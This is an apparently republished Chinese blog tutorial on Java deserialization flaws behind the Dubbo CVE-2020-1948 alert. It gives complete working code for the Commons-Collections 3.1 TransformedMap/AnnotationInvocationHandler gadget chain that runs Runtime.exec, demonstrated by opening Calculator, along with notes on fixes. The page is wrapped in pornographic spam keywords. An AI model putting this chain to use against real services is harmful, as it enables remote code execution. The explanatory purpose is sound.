日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Dubbo 高危漏洞!原来都是反序列化惹得祸

發(fā)布時(shí)間:2025/3/16 编程问答 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Dubbo 高危漏洞!原来都是反序列化惹得祸 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言

這周收到外部合作同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默認(rèn)反序列化遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-1948)通告。

按照文章披露的漏洞影響范圍,可以說是當(dāng)前所有的 Dubbo 的版本都有這個(gè)問題。

無獨(dú)有偶,這周在 Github 自己的倉庫上推送幾行改動,不一會就收到 Github 安全提示,警告當(dāng)前項(xiàng)目存在安全漏洞CVE-2018-10237。

可以看到這兩個(gè)漏洞都是利用反序列化進(jìn)行執(zhí)行惡意代碼,可能很多同學(xué)跟我當(dāng)初一樣,看到這個(gè)一臉懵逼。好端端的反序列化,怎么就能被惡意利用,用來執(zhí)行的惡意代碼?

這篇文章我們就來聊聊反序列化漏洞,了解一下黑客是如何利用這個(gè)漏洞進(jìn)行攻擊。

反序列化漏洞

在了解反序列化漏洞之前,首先我們學(xué)習(xí)一下兩個(gè)基礎(chǔ)知識。

Java 運(yùn)行外部命令

Java 中有一個(gè)類 Runtime,我們可以使用這個(gè)類執(zhí)行執(zhí)行一些外部命令。

下面例子中我們使用 Runtime 運(yùn)行打開系統(tǒng)的計(jì)算器軟件。

//?僅適用macos? Runtime.getRuntime().exec("open?-a?Calculator?");

有了這個(gè)類,惡意代碼就可以執(zhí)行外部命令,比如執(zhí)行一把 rm /*。

序列化/反序列化

如果經(jīng)常使用 Dubbo,Java 序列化與反序列化應(yīng)該不會陌生。

一個(gè)類通過實(shí)現(xiàn) Serializable接口,我們就可以將其序列化成二進(jìn)制數(shù)據(jù),進(jìn)而存儲在文件中,或者使用網(wǎng)絡(luò)傳輸。

其他程序可以通過網(wǎng)絡(luò)接收,或者讀取文件的方式,讀取序列化的數(shù)據(jù),然后對其進(jìn)行反序列化,從而反向得到相應(yīng)的類的實(shí)例。

下面的例子我們將 App 的對象進(jìn)行序列化,然后將數(shù)據(jù)保存到的文件中。后續(xù)再從文件中讀取序列化數(shù)據(jù),對其進(jìn)行反序列化得到 App 類的對象實(shí)例。

public?class?App?implements?Serializable?{private?String?name;private?static?final?long?serialVersionUID?=?7683681352462061434L;private?void?readObject(java.io.ObjectInputStream?in)?throws?IOException,?ClassNotFoundException?{in.defaultReadObject();System.out.println("readObject?name?is?"+name);Runtime.getRuntime().exec("open?-a?Calculator");}public?static?void?main(String[]?args)?throws?IOException,?ClassNotFoundException?{App?app?=?new?App();app.name?=?"程序通事";FileOutputStream?fos?=?new?FileOutputStream("test.payload");ObjectOutputStream?os?=?new?ObjectOutputStream(fos);//writeObject()方法將Unsafe對象寫入object文件os.writeObject(app);os.close();//從文件中反序列化obj對象FileInputStream?fis?=?new?FileInputStream("test.payload");ObjectInputStream?ois?=?new?ObjectInputStream(fis);//恢復(fù)對象App?objectFromDisk?=?(App)ois.readObject();System.out.println("main?name?is?"+objectFromDisk.name);ois.close();}

執(zhí)行結(jié)果:

readObject name is 程序通事 main name is 程序通事

并且成功打開了計(jì)算器程序。

當(dāng)我們調(diào)用 ObjectInputStream#readObject讀取反序列化的數(shù)據(jù),如果對象內(nèi)實(shí)現(xiàn)了 readObject方法,這個(gè)方法將會被調(diào)用。

源碼如下:

反序列化漏洞執(zhí)行條件

上面的例子中,我們在 readObject 方法內(nèi)主動使用Runtime執(zhí)行外部命令。但是正常的情況下,我們肯定不會在 readObject寫上述代碼,除非是內(nèi)鬼 ̄□ ̄||

如果可以找到一個(gè)對象,他的readObject方法可以執(zhí)行任意代碼,那么在反序列過程也會執(zhí)行對應(yīng)的代碼。我們只要將滿足上述條件的對象序列化之后發(fā)送給先相應(yīng) Java 程序,Java 程序讀取之后,進(jìn)行反序列化,就會執(zhí)行指定的代碼。

為了使反序列化漏洞成功執(zhí)行需要滿足以下條件:

  • Java 反序列化應(yīng)用中需要存在序列化使用的類,不然反序列化時(shí)將會拋出 ?ClassNotFoundException 異常。

  • Java 反序列化對象的 readObject方法可以執(zhí)行任何代碼,沒有任何驗(yàn)證或者限制。

  • 引用一段網(wǎng)上的反序列化攻擊流程,來源:https://xz.aliyun.com/t/7031

  • 客戶端構(gòu)造payload(有效載荷),并進(jìn)行一層層的封裝,完成最后的exp(exploit-利用代碼)

  • exp發(fā)送到服務(wù)端,進(jìn)入一個(gè)服務(wù)端自主復(fù)寫(也可能是也有組件復(fù)寫)的readobject函數(shù),它會反序列化恢復(fù)我們構(gòu)造的exp去形成一個(gè)惡意的數(shù)據(jù)格式exp_1(剝?nèi)サ谝粚?#xff09;

  • 這個(gè)惡意數(shù)據(jù)exp_1在接下來的處理流程(可能是在自主復(fù)寫的readobject中、也可能是在外面的邏輯中),會執(zhí)行一個(gè)exp_1這個(gè)惡意數(shù)據(jù)類的一個(gè)方法,在方法中會根據(jù)exp_1的內(nèi)容進(jìn)行函處理,從而一層層地剝?nèi)?#xff08;或者說變形、解析)我們exp_1變成exp_2、exp_3......

  • 最后在一個(gè)可執(zhí)行任意命令的函數(shù)中執(zhí)行最后的payload,完成遠(yuǎn)程代碼執(zhí)行。


  • Common-Collections

    下面我們以 Common-Collections 的存在反序列化漏洞為例,來復(fù)現(xiàn)反序列化攻擊流程。

    首先我們在應(yīng)用內(nèi)引入 Common-Collections 依賴,這里需要注意,我們需要引入 3.2.2 版本之前,之后的版本這個(gè)漏洞已經(jīng)被修復(fù)。

    <dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version> </dependency>

    PS:下面的代碼只有在 JDK7 環(huán)境下執(zhí)行才能復(fù)現(xiàn)這個(gè)問題。

    首先我們需要明確,我們做一系列目的就是為了讓應(yīng)用程序成功執(zhí)行 Runtime.getRuntime().exec("open -a Calculator")。

    當(dāng)然我們沒辦法讓程序直接運(yùn)行上述語句,我們需要借助其他類,間接執(zhí)行。

    Common-Collections存在一個(gè) Transformer,可以將一個(gè)對象類型轉(zhuǎn)為另一個(gè)對象類型,相當(dāng)于 Java Stream 中的 map 函數(shù)。

    Transformer有幾個(gè)實(shí)現(xiàn)類:

    • ConstantTransformer

    • InvokerTransformer

    • ChainedTransformer

    其中 ConstantTransformer用于將對象轉(zhuǎn)為一個(gè)常量值,例如:

    Transformer?transformer?=?new?ConstantTransformer("程序通事"); Object?transform?=?transformer.transform("樓下小黑哥"); //?輸出對象為?程序通事 System.out.println(transform);

    InvokerTransformer將會使用反射機(jī)制執(zhí)行指定方法,例如:

    Transformer?transformer?=?new?InvokerTransformer("append",new?Class[]{String.class},new?Object[]{"樓下小黑哥"} ); StringBuilder?input=new?StringBuilder("程序通事-"); //?反射執(zhí)行了?input.append("樓下小黑哥"); Object?transform?=?transformer.transform(input); //?程序通事-樓下小黑哥 System.out.println(transform);

    ChainedTransformer 需要傳入一個(gè) Transformer[]數(shù)組對象,使用責(zé)任鏈模式執(zhí)行的內(nèi)部 Transformer,例如:

    Transformer[]?transformers?=?new?Transformer[]{new?ConstantTransformer(Runtime.getRuntime()),new?InvokerTransformer("exec",new?Class[]{String.class},?new?Object[]{"open?-a?Calculator"}) };Transformer?chainTransformer?=?new?ChainedTransformer(transformers); chainTransformer.transform("任意對象值");

    通過 ChainedTransformer 鏈?zhǔn)綀?zhí)行 ConstantTransformer,InvokerTransformer邏輯,最后我們成功的運(yùn)行的 Runtime語句。

    不過上述的代碼存在一些問題,Runtime沒有繼承 Serializable接口,我們無法將其進(jìn)行序列化。

    如果對其進(jìn)行序列化程序?qū)伋霎惓?#xff1a;

    我們需要改造以上代碼,使用 Runtime.class 經(jīng)過一系列的反射執(zhí)行:

    String[]?execArgs?=?new?String[]{"open?-a?Calculator"};final?Transformer[]?transformers?=?new?Transformer[]{new?ConstantTransformer(Runtime.class),new?InvokerTransformer("getMethod",new?Class[]{String.class,?Class[].class},new?Object[]{"getRuntime",?new?Class[0]}),new?InvokerTransformer("invoke",new?Class[]{Object.class,?Object[].class},new?Object[]{null,?new?Object[0]}),new?InvokerTransformer("exec",new?Class[]{String.class},?execArgs), };

    剛接觸這塊的同學(xué)的應(yīng)該已經(jīng)看暈了吧,沒關(guān)系,我將上面的代碼翻譯一下正常的反射代碼一下:

    ((Runtime)?Runtime.class.getMethod("getRuntime",?null).invoke(null,?null)).exec("open?-a?Calculator");

    TransformedMap

    接下來我們需要找到相關(guān)類,可以自動調(diào)用Transformer內(nèi)部方法。

    Common-Collections內(nèi)有兩個(gè)類將會調(diào)用 Transformer:

    • TransformedMap

    • LazyMap

    下面將會主要介紹 TransformedMap觸發(fā)方式,LazyMap觸發(fā)方式比較類似,感興趣的同學(xué)可以研究這個(gè)開源庫@ysoserial CommonsCollections1。

    Github 地址:https://github.com/frohoff/ysoserial

    TransformedMap 可以用來對 Map 進(jìn)行某種變換,底層原理實(shí)際上是使用傳入的 Transformer 進(jìn)行轉(zhuǎn)換。

    Transformer?transformer?=?new?ConstantTransformer("程序通事");Map<String,?String>?testMap?=?new?HashMap<>(); testMap.put("a",?"A"); //?只對?value?進(jìn)行轉(zhuǎn)換 Map?decorate?=?TransformedMap.decorate(testMap,?null,?transformer); //?put?方法將會觸發(fā)調(diào)用?Transformer?內(nèi)部方法 decorate.put("b",?"B");for?(Object?entry?:?decorate.entrySet())?{Map.Entry?temp?=?(Map.Entry)?entry;if?(temp.getKey().equals("a"))?{//?Map.Entry?setValue?也會觸發(fā)?Transformer?內(nèi)部方法temp.setValue("AAA");} } System.out.println(decorate);

    輸出結(jié)果為:

    {b=程序通事,?a=程序通事}

    AnnotationInvocationHandler

    上文中我們知道了,只要調(diào)用 TransformedMap的 put 方法,或者調(diào)用 Map.Entry的 setValue方法就可以觸發(fā)我們設(shè)置的 ChainedTransformer,從而觸發(fā) Runtime 執(zhí)行外部命令。

    現(xiàn)在我們就需要找到一個(gè)可序列化的類,這個(gè)類正好實(shí)現(xiàn)了 readObject,且正好可以調(diào)用 Map put 的方法或者調(diào)用 Map.Entry的 setValue。

    Java 中有一個(gè)類 sun.reflect.annotation.AnnotationInvocationHandler,正好滿足上述的條件。這個(gè)類構(gòu)造函數(shù)可以設(shè)置一個(gè) Map 變量,這下剛好可以把上面的 TransformedMap 設(shè)置進(jìn)去。

    不過不要高興的太早,這個(gè)類沒有 public 修飾符,默認(rèn)只有同一個(gè)包才可以使用。

    不過這點(diǎn)難度,跟上面一比,還真是輕松,我們可以通過反射獲取從而獲取這個(gè)類的實(shí)例。

    示例代碼如下:

    Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class); ctor.setAccessible(true); //?隨便使用一個(gè)注解 Object?instance?=?ctor.newInstance(Target.class,?exMap);

    完整的序列化漏洞示例代碼如下 :

    String[]?execArgs?=?new?String[]{"open?-a?Calculator"};final?Transformer[]?transformers?=?new?Transformer[]{new?ConstantTransformer(Runtime.class),new?InvokerTransformer("getMethod",new?Class[]{String.class,?Class[].class},new?Object[]{"getRuntime",?new?Class[0]}),new?InvokerTransformer("invoke",new?Class[]{Object.class,?Object[].class},new?Object[]{null,?new?Object[0]}),new?InvokerTransformer("exec",new?Class[]{String.class},?execArgs), }; // Transformer?transformerChain?=?new?ChainedTransformer(transformers);Map<String,?String>?tempMap?=?new?HashMap<>(); //?tempMap?不能為空 tempMap.put("value",?"you");Map?exMap?=?TransformedMap.decorate(tempMap,?null,?transformerChain);Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class); ctor.setAccessible(true); //?隨便使用一個(gè)注解 Object?instance?=?ctor.newInstance(Target.class,?exMap);File?f?=?new?File("test.payload"); ObjectOutputStream?oos?=?new?ObjectOutputStream(new?FileOutputStream(f)); oos.writeObject(instance); oos.flush(); oos.close();ObjectInputStream?ois?=?new?ObjectInputStream(new?FileInputStream(f)); //?觸發(fā)代碼執(zhí)行 Object?newObj?=?ois.readObject(); ois.close();

    上面代碼中需要注意,tempMap需要一定不能為空,且 key 一定要是 value。那可能有的同學(xué)為什么一定要這樣設(shè)置?

    tempMap不能為空的原因是因?yàn)?readObject 方法內(nèi)需要遍歷內(nèi)部 Map.Entry.

    至于第二個(gè)問題,別問,問就是玄學(xué)~好吧,我也沒研究清楚--,有了解的小伙伴的留言一下

    最后總結(jié)一下這個(gè)反序列化漏洞代碼執(zhí)行鏈路如下:


    Common-Collections 漏洞修復(fù)方式

    在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的調(diào)用,從而使我們上面構(gòu)造的 AnnotationInvocationHandler+TransformedMap失效。

    另外 Common-Collections3.2.2 版本,對這些不安全的 Java 類序列化支持增加了開關(guān),默認(rèn)為關(guān)閉狀態(tài)。

    比如在 InvokerTransformer類中重寫 readObject,增相關(guān)判斷。如果沒有開啟不安全的類的序列化則會拋出UnsupportedOperationException異常


    Dubbo 反序列化漏洞

    Dubbo 反序列化漏洞原理與上面的類似,但是執(zhí)行的代碼攻擊鏈與上面完全不一樣,這里就不再復(fù)現(xiàn)的詳細(xì)的實(shí)現(xiàn)的方式。

    Dubbo 在 2020-06-22 日發(fā)布 2.7.7 版本,升級內(nèi)容名其中包括了這個(gè)反序列化漏洞的修復(fù)。不過從其他人發(fā)布的文章來看,2.7.7 版本的修復(fù)方式,只是初步改善了問題,不過并沒有根本上解決的這個(gè)問題。


    防護(hù)措施

    最后作為一名普通的開發(fā)者來說,我們自己來修復(fù)這種漏洞,實(shí)在不太現(xiàn)實(shí)。

    術(shù)業(yè)有專攻,這種專業(yè)的事,我們就交給個(gè)高的人來頂。

    我們需要做的事,就是了解的這些漏洞的一些基本原理,樹立的一定意識。

    其次我們需要了解一些基本的防護(hù)措施,做到一些基本的防御。

    如果碰到這類問題,我們及時(shí)需要關(guān)注官方的新的修復(fù)版本,盡早升級,比如 Common-Collections 版本升級。

    有些依賴 jar 包,升級還是方便,但是有些東西升級就比較麻煩了。就比如這次 Dubbo 來說,官方目前只放出的 Dubbo 2.7 版本的修復(fù)版本,如果我們需要升級,需要將版本直接升級到 Dubbo 2.7.7。

    如果你目前已經(jīng)在使用 Dubbo 2.7 版本,那么升級還是比較簡單。但是如果還在使用 Dubbo 2.6 以下版本的,那么就麻煩了,沒辦法直接升級。

    Dubbo 2.6 到 Dubbo 2.7 版本,其中升級太多了東西,就比如包名變更,影響真的比較大。

    就拿我們系統(tǒng)來講,我們目前這套系統(tǒng),生產(chǎn)還在使用 JDK7。如果需要升級,我們首先需要升級 JDK。

    其次,我們目前大部分應(yīng)用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這么低。

    這部分應(yīng)用直接升級到 Dubbo 2.7 ,改動其實(shí)非常大。另外有些基礎(chǔ)服務(wù),自從第一次部署之后,就再也沒有重新部署過。對于這類應(yīng)用還需要仔細(xì)評估。

    最后,我們有些應(yīng)用,自己實(shí)現(xiàn)了 Dubbo SPI,由于 Dubbo 2.7 版本的包路徑改動,這些 Dubbo SPI 相關(guān)包路徑也需要做出一些改動。

    所以直接升級到 Dubbo 2.7 版本的,對于一些老系統(tǒng)來講,還真是一件比較麻煩的事。

    如果真的需要升級,不建議一次性全部升級,建議采用逐步升級替換的方式,慢慢將整個(gè)系統(tǒng)的內(nèi) Dubbo 版本的升級。

    所以這種情況下,短時(shí)間內(nèi)防御措施,可參考玄武實(shí)驗(yàn)室給出的方案:

    如果當(dāng)前 Dubbo 部署云上,那其實(shí)比較簡單,可以使用云廠商的提供的相關(guān)流量監(jiān)控產(chǎn)品,提前一步阻止漏洞的利用。

    幫助資料

  • http://blog.nsfocus.net/deserialization/

  • http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知識點(diǎn)整理/

  • https://xz.aliyun.com/t/2041

  • https://xz.aliyun.com/t/2028

  • https://www.freebuf.com/vuls/241975.html

  • http://rui0.cn/archives/1338

  • http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html

  • https://security.tencent.com/index.php/blog/msg/97

  • JAVA反序列化漏洞完整過程分析與調(diào)試

  • https://security.tencent.com/index.php/blog/msg/131

  • https://paper.seebug.org/1264/#35

  • 有道無術(shù),術(shù)可成;有術(shù)無道,止于術(shù)

    歡迎大家關(guān)注Java之道公眾號

    好文章,我在看??

    總結(jié)

    以上是生活随笔為你收集整理的Dubbo 高危漏洞!原来都是反序列化惹得祸的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 秋霞欧美在线观看 | 久久久www | 日韩免费视频一区二区视频在线观看 | 超碰久草 | 在线高清观看免费观看 | 亚洲国产精品影院 | 五月天婷婷基地 | 精品97人妻无码中文永久在线 | 美国一区二区三区 | 国产无遮挡又黄又爽免费视频 | 久久中文字幕人妻 | 天天躁日日躁bbbbb | 九九久视频 | 免费爱爱视频 | 天天舔天天爱 | 四虎影院永久 | 俄罗斯av在线 | 亚洲欧美在线看 | 卡通动漫精品一区二区三区 | 欧美久久久久久 | 少妇粉嫩小泬白浆流出 | 黄色片在线观看视频 | 一级视频在线免费观看 | 日韩夜夜高潮夜夜爽无码 | 国产乱xxⅹxx国语对白 | 秋霞7777鲁丝伊人久久影院 | 午夜av免费在线观看 | 成人免费毛片足控 | 蜜臂av | 日韩aaaaaa | 成人a在线观看 | 亚洲综合国产精品 | 国产成人77亚洲精品www | 色综合天天 | a在线 | a级黄色网址 | 日韩一级片免费在线观看 | 天天想你免费观看完整版高清电影 | 西西444www大胆无视频 | 国产女人精品视频 | 亚洲av片不卡无码久久 | 色播五月婷婷 | 91精品推荐| 国产中文字幕视频 | 91美女片黄在线观看91美女 | 在线免费观看黄色av | 九九在线免费视频 | 久艹在线播放 | 亚洲男女在线观看 | 欧美色呦呦 | 中文字幕网站在线观看 | 青青草原免费观看 | 小明天天看| 美女张开腿让男人桶爽 | 日韩av片在线免费观看 | 青草热视频 | 亚洲欧美日韩中文字幕在线观看 | 免费亚洲精品 | 在线观看视频亚洲 | 国产欧美一区二区在线 | 久久久精品综合 | 一本大道久久a久久精二百 琪琪色在线视频 | 韩国国产在线 | 天天做天天爱天天爽 | 久久午夜激情 | 999精品在线| 草视频在线观看 | 国产一区99| 性色在线观看 | 久久久久亚洲AV成人网人人小说 | 青娱乐国产盛宴 | 欧美一二三区视频 | 毛片aaaaa| 欧美亚洲精品在线观看 | 香蕉影院在线 | 亚洲乱码精品 | 成人一级片视频 | 片集网 | 精品无码一级毛片免费 | 极品人妻一区二区 | 国产麻豆免费视频 | 全黄一级播放 | 午夜久久| 看个毛片| 亚洲国产精品视频一区 | 国产一级片播放 | 中文字幕欧美视频 | 欧美成人三级 | 最新av中文字幕 | 精品无码av一区二区三区 | 一本一道无码中文字幕精品热 | 91射| 欧美日韩aa| 亚洲精品乱码久久久久久蜜桃欧美 | 性欧美videos高清hd4k | 在线免费观看国产视频 | 久人人 | 亚洲欧美一区二区三区 | 久久久久久无码精品人妻一区二区 |